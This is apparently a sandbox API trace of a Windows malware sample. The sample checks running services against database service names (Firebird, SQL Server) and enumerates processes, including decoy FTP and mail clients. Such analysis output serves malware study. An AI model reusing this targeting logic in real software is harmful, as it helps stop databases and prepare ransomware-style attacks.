	[0067.697] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0067.697] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0067.697] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0067.697] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0067.697] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0067.697] lstrlenW (lpString="SSDPSRV") returned 7
	[0067.698] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1
	[0067.698] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1
	[0067.698] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1
	[0067.698] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1
	[0067.698] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1
	[0067.698] lstrlenW (lpString="StateRepository") returned 15
	[0067.698] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0067.698] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0067.698] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0067.698] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0067.698] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0067.698] lstrlenW (lpString="SysMain") returned 7
	[0067.698] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0067.698] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0067.698] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0067.698] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0067.698] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x7820a0 | out: hHeap=0x720000) returned 1
	[0067.698] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x32c
	[0067.899] Process32FirstW (in: hSnapshot=0x32c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0067.900] Process32NextW (in: hSnapshot=0x32c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0067.900] lstrlenW (lpString="System") returned 6
	[0067.900] Process32NextW (in: hSnapshot=0x32c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0067.901] lstrlenW (lpString="smss.exe") returned 8
	[0067.901] Process32NextW (in: hSnapshot=0x32c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0067.901] lstrlenW (lpString="csrss.exe") returned 9
	[0067.901] Process32NextW (in: hSnapshot=0x32c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0067.902] lstrlenW (lpString="wininit.exe") returned 11
	[0067.902] Process32NextW (in: hSnapshot=0x32c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0067.902] lstrlenW (lpString="csrss.exe") returned 9
	[0067.902] Process32NextW (in: hSnapshot=0x32c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0067.903] lstrlenW (lpString="winlogon.exe") returned 12
	[0067.903] Process32NextW (in: hSnapshot=0x32c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0067.903] lstrlenW (lpString="services.exe") returned 12
	[0067.903] Process32NextW (in: hSnapshot=0x32c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0067.904] lstrlenW (lpString="lsass.exe") returned 9
	[0067.904] Process32NextW (in: hSnapshot=0x32c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0067.904] lstrlenW (lpString="svchost.exe") returned 11
	[0067.904] Process32NextW (in: hSnapshot=0x32c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0067.905] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0067.905] Process32NextW (in: hSnapshot=0x32c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0067.905] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0067.905] Process32NextW (in: hSnapshot=0x32c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0067.906] lstrlenW (lpString="svchost.exe") returned 11
	[0067.906] Process32NextW (in: hSnapshot=0x32c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0067.906] lstrlenW (lpString="dwm.exe") returned 7
	[0067.907] Process32NextW (in: hSnapshot=0x32c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0067.907] lstrlenW (lpString="svchost.exe") returned 11
	[0067.907] Process32NextW (in: hSnapshot=0x32c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0067.908] lstrlenW (lpString="svchost.exe") returned 11
	[0067.908] Process32NextW (in: hSnapshot=0x32c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0067.908] lstrlenW (lpString="svchost.exe") returned 11
	[0067.908] Process32NextW (in: hSnapshot=0x32c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0067.909] lstrlenW (lpString="svchost.exe") returned 11
	[0067.909] Process32NextW (in: hSnapshot=0x32c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0067.910] lstrlenW (lpString="svchost.exe") returned 11
	[0067.910] Process32NextW (in: hSnapshot=0x32c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0067.910] lstrlenW (lpString="svchost.exe") returned 11
	[0067.910] Process32NextW (in: hSnapshot=0x32c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0067.911] lstrlenW (lpString="svchost.exe") returned 11
	[0067.911] Process32NextW (in: hSnapshot=0x32c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0067.911] lstrlenW (lpString="svchost.exe") returned 11
	[0067.911] Process32NextW (in: hSnapshot=0x32c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0067.912] lstrlenW (lpString="svchost.exe") returned 11
	[0067.912] Process32NextW (in: hSnapshot=0x32c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0067.912] lstrlenW (lpString="svchost.exe") returned 11
	[0067.912] Process32NextW (in: hSnapshot=0x32c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0067.913] lstrlenW (lpString="spoolsv.exe") returned 11
	[0067.913] Process32NextW (in: hSnapshot=0x32c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0067.913] lstrlenW (lpString="svchost.exe") returned 11
	[0067.913] Process32NextW (in: hSnapshot=0x32c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x554, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0067.914] lstrlenW (lpString="audiodg.exe") returned 11
	[0067.914] Process32NextW (in: hSnapshot=0x32c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x708, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0067.914] lstrlenW (lpString="sihost.exe") returned 10
	[0067.914] Process32NextW (in: hSnapshot=0x32c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0067.915] lstrlenW (lpString="svchost.exe") returned 11
	[0067.915] Process32NextW (in: hSnapshot=0x32c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0067.915] lstrlenW (lpString="taskhostw.exe") returned 13
	[0067.915] Process32NextW (in: hSnapshot=0x32c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0067.916] lstrlenW (lpString="explorer.exe") returned 12
	[0067.916] Process32NextW (in: hSnapshot=0x32c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x818, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0067.916] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0067.917] Process32NextW (in: hSnapshot=0x32c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0067.917] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0067.917] Process32NextW (in: hSnapshot=0x32c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0067.918] lstrlenW (lpString="Memory Compression") returned 18
	[0067.918] Process32NextW (in: hSnapshot=0x32c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0067.918] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0067.918] Process32NextW (in: hSnapshot=0x32c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0067.919] lstrlenW (lpString="SearchUI.exe") returned 12
	[0067.919] Process32NextW (in: hSnapshot=0x32c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0067.919] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0067.919] Process32NextW (in: hSnapshot=0x32c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0067.920] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0067.920] Process32NextW (in: hSnapshot=0x32c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="pending.exe")) returned 1
	[0067.920] lstrlenW (lpString="pending.exe") returned 11
	[0067.920] Process32NextW (in: hSnapshot=0x32c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="impressed-bug-workers.exe")) returned 1
	[0067.921] lstrlenW (lpString="impressed-bug-workers.exe") returned 25
	[0067.921] Process32NextW (in: hSnapshot=0x32c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="sw_sorts.exe")) returned 1
	[0067.921] lstrlenW (lpString="sw_sorts.exe") returned 12
	[0067.921] Process32NextW (in: hSnapshot=0x32c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="trademarks-clara-cancer.exe")) returned 1
	[0067.922] lstrlenW (lpString="trademarks-clara-cancer.exe") returned 27
	[0067.922] Process32NextW (in: hSnapshot=0x32c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="search.exe")) returned 1
	[0067.922] lstrlenW (lpString="search.exe") returned 10
	[0067.922] Process32NextW (in: hSnapshot=0x32c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="compatibility.exe")) returned 1
	[0067.923] lstrlenW (lpString="compatibility.exe") returned 17
	[0067.923] Process32NextW (in: hSnapshot=0x32c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="freeze negotiations.exe")) returned 1
	[0067.923] lstrlenW (lpString="freeze negotiations.exe") returned 23
	[0067.923] Process32NextW (in: hSnapshot=0x32c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ellen rebound.exe")) returned 1
	[0067.924] lstrlenW (lpString="ellen rebound.exe") returned 17
	[0067.924] Process32NextW (in: hSnapshot=0x32c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="try.exe")) returned 1
	[0067.927] lstrlenW (lpString="try.exe") returned 7
	[0067.927] Process32NextW (in: hSnapshot=0x32c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="consultancy.exe")) returned 1
	[0067.927] lstrlenW (lpString="consultancy.exe") returned 15
	[0067.927] Process32NextW (in: hSnapshot=0x32c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="especially.exe")) returned 1
	[0067.928] lstrlenW (lpString="especially.exe") returned 14
	[0067.928] Process32NextW (in: hSnapshot=0x32c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x67c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="collectibles-register-voluntary.exe")) returned 1
	[0067.928] lstrlenW (lpString="collectibles-register-voluntary.exe") returned 35
	[0067.928] Process32NextW (in: hSnapshot=0x32c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="headlines-cope-finances.exe")) returned 1
	[0067.929] lstrlenW (lpString="headlines-cope-finances.exe") returned 27
	[0067.929] Process32NextW (in: hSnapshot=0x32c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="modules.exe")) returned 1
	[0067.929] lstrlenW (lpString="modules.exe") returned 11
	[0067.929] Process32NextW (in: hSnapshot=0x32c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="jane_conscious.exe")) returned 1
	[0067.930] lstrlenW (lpString="jane_conscious.exe") returned 18
	[0067.930] Process32NextW (in: hSnapshot=0x32c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="namespace-bankruptcy.exe")) returned 1
	[0067.930] lstrlenW (lpString="namespace-bankruptcy.exe") returned 24
	[0067.931] Process32NextW (in: hSnapshot=0x32c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1
	[0067.931] lstrlenW (lpString="3dftp.exe") returned 9
	[0067.931] Process32NextW (in: hSnapshot=0x32c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1
	[0067.931] lstrlenW (lpString="absolutetelnet.exe") returned 18
	[0067.932] Process32NextW (in: hSnapshot=0x32c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1
	[0067.932] lstrlenW (lpString="alftp.exe") returned 9
	[0067.932] Process32NextW (in: hSnapshot=0x32c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1
	[0068.066] lstrlenW (lpString="barca.exe") returned 9
	[0068.066] Process32NextW (in: hSnapshot=0x32c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1
	[0068.067] lstrlenW (lpString="bitkinex.exe") returned 12
	[0068.067] Process32NextW (in: hSnapshot=0x32c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1
	[0068.068] lstrlenW (lpString="coreftp.exe") returned 11
	[0068.068] Process32NextW (in: hSnapshot=0x32c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1
	[0068.069] lstrlenW (lpString="far.exe") returned 7
	[0068.069] Process32NextW (in: hSnapshot=0x32c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x85c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1
	[0068.070] lstrlenW (lpString="filezilla.exe") returned 13
	[0068.070] Process32NextW (in: hSnapshot=0x32c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1
	[0068.071] lstrlenW (lpString="flashfxp.exe") returned 12
	[0068.071] Process32NextW (in: hSnapshot=0x32c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1
	[0068.071] lstrlenW (lpString="fling.exe") returned 9
	[0068.072] Process32NextW (in: hSnapshot=0x32c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1
	[0068.072] lstrlenW (lpString="foxmailincmail.exe") returned 18
